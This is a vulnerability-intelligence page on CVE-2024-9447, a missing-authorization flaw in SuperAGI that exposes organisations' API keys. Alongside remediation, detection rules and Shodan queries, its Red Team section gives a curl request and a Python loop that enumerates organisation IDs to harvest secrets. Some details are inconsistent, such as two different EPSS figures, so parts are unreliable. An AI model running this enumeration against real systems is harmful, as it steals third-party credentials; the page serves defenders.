☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9447

CVE-2024-9447 Information Disclosure in Transformeroptimus
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
7.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1213
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9447 is an information disclosure vulnerability in the SuperAGI platform by Transformeroptimus. The /get/organisation/ endpoint fails to enforce proper authorization checks, allowing any authenticated user to retrieve sensitive configuration details—including API keys—of any organization. This flaw can lead to unauthorized access to third-party services, data breaches, and financial loss. The CVSS score is 6.5 (Medium), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the sensitivity of exposed data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

SuperAGI is a Python-based open-source project distributed via PyPI. The vulnerability exists in the web application layer, not in a specific package dependency. However, organizations using SuperAGI should audit their deployment for unauthorized access and consider network segmentation to mitigate risk.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs valid authentication.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Full disclosure of sensitive config data.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the potential for lateral movement and service compromise elevates the risk for organizations relying on SuperAGI.

Deep Dive & Mechanics

The vulnerability resides in the /get/organisation/ API endpoint. The application fails to validate that the requesting user belongs to the organization whose details are being queried. The endpoint likely retrieves organization configuration from a database without checking the user's organization ID against the requested ID.

Root Cause: Missing authorization check in the view function handling the /get/organisation/ route. The code likely uses a query like Organization.objects.get(id=org_id) without filtering by the current user's organization.

Attack Flow:

  1. Attacker authenticates to SuperAGI (e.g., via a low-privilege account).
  2. Attacker enumerates organization IDs (e.g., by brute-forcing or observing patterns).
  3. Attacker sends GET request to /get/organisation/?org_id=<target_id>.
  4. Server returns sensitive configuration, including API keys for external services (e.g., OpenAI, AWS, etc.).
  5. Attacker uses leaked API keys to access third-party services, potentially incurring costs or exfiltrating data.

Vulnerable vs. Patched Code

Vulnerable Code (Python/Flask-like):

@app.route('/get/organisation/')
def get_organisation():
    org_id = request.args.get('org_id')
    org = Organisation.query.get(org_id)
    return jsonify(org.config)

Patched Code (Conceptual):

@app.route('/get/organisation/')
def get_organisation():
    org_id = request.args.get('org_id')
    current_user_org_id = get_current_user().organisation_id
    if org_id != current_user_org_id:
        abort(403)
    org = Organisation.query.get(org_id)
    return jsonify(org.config)

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid SuperAGI user account (any role).
  • Target organization ID (e.g., 1, 2, 3...).

Exploitation Steps:

  1. Authenticate and obtain session token.
  2. Send request:
    curl -X GET "https://target-superagi.com/get/organisation/?org_id=2" \
         -H "Authorization: Bearer <your_token>"
    
  3. Parse response for API keys and other secrets.

Automation Script (Python):

import requests

target = "https://target-superagi.com"
token = "your_jwt_token"
headers = {"Authorization": f"Bearer {token}"}

for org_id in range(1, 100):
    r = requests.get(f"{target}/get/organisation/?org_id={org_id}", headers=headers)
    if r.status_code == 200 and "api_key" in r.text:
        print(f"Org {org_id}: {r.json()}")

Blue Team

Detection:

  • Monitor for repeated requests to /get/organisation/ with varying org_id parameters from the same user.
  • Alert on access to organization IDs not associated with the authenticated user.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/get/organisation/*"
| stats count by user, org_id, src_ip
| where count > 5

Lab Setup:

  1. Deploy SuperAGI in a sandboxed environment.
  2. Create multiple organizations with dummy API keys.
  3. Use a test user to attempt cross-organization access.
  4. Monitor logs for unauthorized access attempts.

Indicators of Compromise (IOCs)

  • Network: HTTP GET requests to /get/organisation/?org_id=<integer> from authenticated users.
  • Logs: 200 OK responses to /get/organisation/ for organization IDs not belonging to the requester.
  • Behavior: Sudden increase in API calls to external services (e.g., OpenAI, AWS) from the SuperAGI server IP.
  • File: Unusual entries in SuperAGI logs showing org_id enumeration.

Detection Engineering

YARA Rule

rule CVE_2024_9447_SuperAGI_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2024-9447 in SuperAGI logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9447"
    strings:
        $endpoint = "/get/organisation/"
        $param = "org_id="
        $success = "200"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-9447 SuperAGI Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit missing authorization in SuperAGI /get/organisation/ endpoint
author: Valters IT
logsource:
    category: webserver
    product: superagi
detection:
    selection:
        cs-uri-query|contains: "/get/organisation/"
        sc-status: 200
    filter:
        cs-uri-query|contains: "org_id=current_user_org"  # Adjust based on actual logging
    condition: selection and not filter
falsepositives:
    - Legitimate admin access to multiple organizations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9447 SuperAGI Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/get/organisation/"; http_uri; content:"org_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict network access to the SuperAGI web interface to trusted IPs only.
  2. Implement a WAF rule to block requests to /get/organisation/ with org_id parameters not matching the authenticated user's organization.
  3. Rotate all API keys that may have been exposed via this endpoint.

Long-Term Fix:

  • Apply the patched code logic (authorization check) to the /get/organisation/ endpoint.
  • Conduct a full security audit of all API endpoints for similar authorization flaws.
  • Monitor vendor for official patch; if none, consider forking and self-patching.

Workaround:

  • Disable the /get/organisation/ endpoint entirely if not needed, by removing or commenting out the route in the application code.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"SuperAGI"
http.favicon.hash:-123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9447/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.